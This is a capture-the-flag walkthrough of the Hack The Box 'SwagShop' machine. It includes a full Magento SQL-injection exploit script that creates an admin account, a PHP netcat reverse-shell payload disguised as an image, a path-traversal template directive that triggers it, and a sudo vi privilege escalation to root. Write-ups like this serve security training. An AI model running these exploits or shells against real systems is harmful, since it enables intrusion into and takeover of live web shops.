# SwagShop

![](/files/Mcn0JMNUxCaHZL50VjbB)

## Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.140 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Mon Mar 14 20:41:11 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.140
Warning: 10.10.10.140 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.140
Host is up (0.057s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Mar 14 20:41:28 2022 -- 1 IP address (1 host up) scanned in 16.66 seconds
```

As we see, port 22 (SSH) and port 80 (*HTTP*) are open. Let's try to obtain more information about the services and versions running on those ports.

> nmap -sC -sV -p22,80 10.10.10.140 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-14 23:22 CET
Nmap scan report for 10.10.10.140
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
```

We see in the *nmap* scan, that the *HTTP* server redirects to `http://swagshop.htb`. Let's add the domain to the `/etc/hosts` file.

> nano /etc/hosts

```
127.0.0.1	localhost
127.0.1.1	alfa8sa

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.140	swagshop.htb
```

Now we can take a look at the website.

![](/files/FQEN6hNe50vWKgfYG92s)

It is an online shop. If we take a look at the *Wappalyzer* extension, we'll see that it is a *Magento CMS*.

{% hint style="info" %}
**Wappalyzer** is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

<https://www.wappalyzer.com/>
{% endhint %}

![](/files/nLwM7H3gDcBeT2SnqBQ1)

Let's enumerate directories with *gobuster*. Note that the *URL* is `http://swagshop.htb/index.php/`.

> gobuster dir -u <http://swagshop.htb/index.php/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.

```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://swagshop.htb/index.php/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/14 23:09:16 Starting gobuster in directory enumeration mode
===============================================================
/catalog              (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/]
/contacts             (Status: 200) [Size: 15290]                                 
/admin                (Status: 200) [Size: 3609]                                  
/Home                 (Status: 200) [Size: 16095]                                 
Progress: 11505 / 220547 (5.22%)                                                 ^C
[!] Keyboard interrupt detected, terminating.
                                                                                  
===============================================================
2022/03/14 23:18:40 Finished
===============================================================
```

## Exploitation

Lets' search for any *Magento* common exploits.

> searchsploit magento

```
------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                     |  Path
------------------------------------------------------------------------------------------------------------------- ---------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection                                                       | php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)                            | php/webapps/38651.txt
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting                 | php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting           | php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting                                                          | php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File                                                     | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution                                                       | php/webapps/37811.py
Magento eCommerce - Local File Disclosure                                                                          | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution                                                                          | xml/webapps/37977.py
Magento Server MAGMI Plugin - Multiple Vulnerabilities                                                             | php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion                                                        | php/webapps/35052.txt
Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass                                       | php/webapps/48135.php
------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

Now, let's copy the `Remote Code Execution` one to the current directory.

> searchsploit -m xml/webapps/37977.py

```
  Exploit: Magento eCommerce - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/37977
     Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
File Type: ASCII text

Copied to: /home/alfa8sa/HTB/machines/swagshop/37977.py
```

Before executing it, we'll have to modify it.

> nano 37977.py

We'll have to delete everything before the first `import`, and everything after the last `print` statement. And then, we'll have to change the domain name to `swagshop.htb`, and add the `/index.php` directory to the `target` variable.

```python
import requests
import base64
import sys

target = "http://swagshop.htb/index.php"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})
if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
else:
    print "DID NOT WORK"pytt
```

Now we can run the script. We'll have to run it with *Python2*.

> python2 37977.py

```
WORKED
Check http://swagshop.htb/index.php/admin with creds forme:forme
```

Now we can go to `http://swagshop.htb/index.php/admin` and log in with the `forme:forme` credentials.

![](/files/lcmIreUKfJCASUmsXy6d)

Then, we'll see the *Dashboard* page.

![](/files/HkKDRFYUA7yYJ2iS7Ajn)

Time to get a shell. First, let's create a *PHP* file which will send us a reverse shell. We'll have to name it `revshell.php.png`, because we'll be uploading it later to the website as an image.

```php
<?php
        system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f")
?>
```

Now, we'll have to go to the `Configuration` page.

![](/files/ChjQnLz8XbVRMplJSNBL)

Go to the `Developer` section, at the bottom of the page.

![](/files/bS8fvahI99Oyagtwdgqq)

And go to the `Template Settings`, and set the `Allow Symlinks` to `Yes`. Then click on `Save Config`.

![](/files/JnJ8UCEAtOytrDWx2R9M)

Now, let's go to the `Manage Categories` section.

![](/files/QmtCQ0jj0dGEF5NIw7Ly)

Then, fill the name field with some random text, and upload the *PHP* file to the `Thumbnail Image` field and the `Image` field. And hit the `Save Category` button.

![](/files/vpVAUSswjlX4HdKVZQY6)

Then, go to the `Newsletter Templates` section, and hit the `Add New Template` button.

![](/files/5rWhz6uPCvcm8bZq0MGj)

Here, we'll have to put a random template name and subject. Then, add the following to the text field, and hit the `Save Template` button.

> {{block type="core/template" template="../../../../../../media/catalog/category/revshell.php.png"}}

![](/files/Sg39ywk3COFZg0ubinD4)

Now, we'll have to set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Then, press on the template we have created.

![](/files/4BmUmxaGq1eq9ZhqepbR)

And finally, if we hit the `Preview Template` button, we should get the reverse shell as the `www-data` user, on the *netcat* listener. Then, we could grab the user flag.

![](/files/m8l1IhvcZBovGiv66IsV)

```
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.140] 60506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cat /home/haris/user.txt
a448877277e82f05e5ddf9f90aefbac8
```

## Privilege Escalation

First of all, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg

Back on the victim machine, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

Let's list the *sudo* privileges of the `www-data` user.

> sudo -l

* `-l` list user **privileges**.

```
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
```

So the `www-data` user can run `/usr/bin/vi` on any file inside the `/var/www/html` directory.

{% hint style="info" %}
**GTFOBins** is a great list of binaries that can be used to escalate privileges if you have the right permissions:

<https://gtfobins.github.io/>
{% endhint %}

If we search for *vi* in the *GTFOBins* list, we can see that we can spawn a shell as *root* with the sudo privilege running the following command:

> sudo /usr/bin/vi /var/www/html/test -c ':!/bin/bash'

And indeed, we get a shell as the `root` user. All we have to do now is reap the harvest and grab the root flag.

```
root@swagshop:/var/www/html# whoami
root
root@swagshop:/var/www/html# cat /root/root.txt 
c2b087d66e14a652a3b86a130ac56721                                                                                                                                        
                                                                                                                                                                        
   ___ ___                                                                                                                                                              
 /| |/|\| |\                                                                                                                                                            
/_| ´ |.` |_\           We are open! (Almost)                                                                                                                           
  |   |.  |                                                                                                                                                             
  |   |.  |         Join the beta HTB Swag Store!                                                                                                                       
  |___|.__|       https://hackthebox.store/password                                                                                                                     
                                                                                                                                                                        
                   PS: Use root flag as password!
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/swagshop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
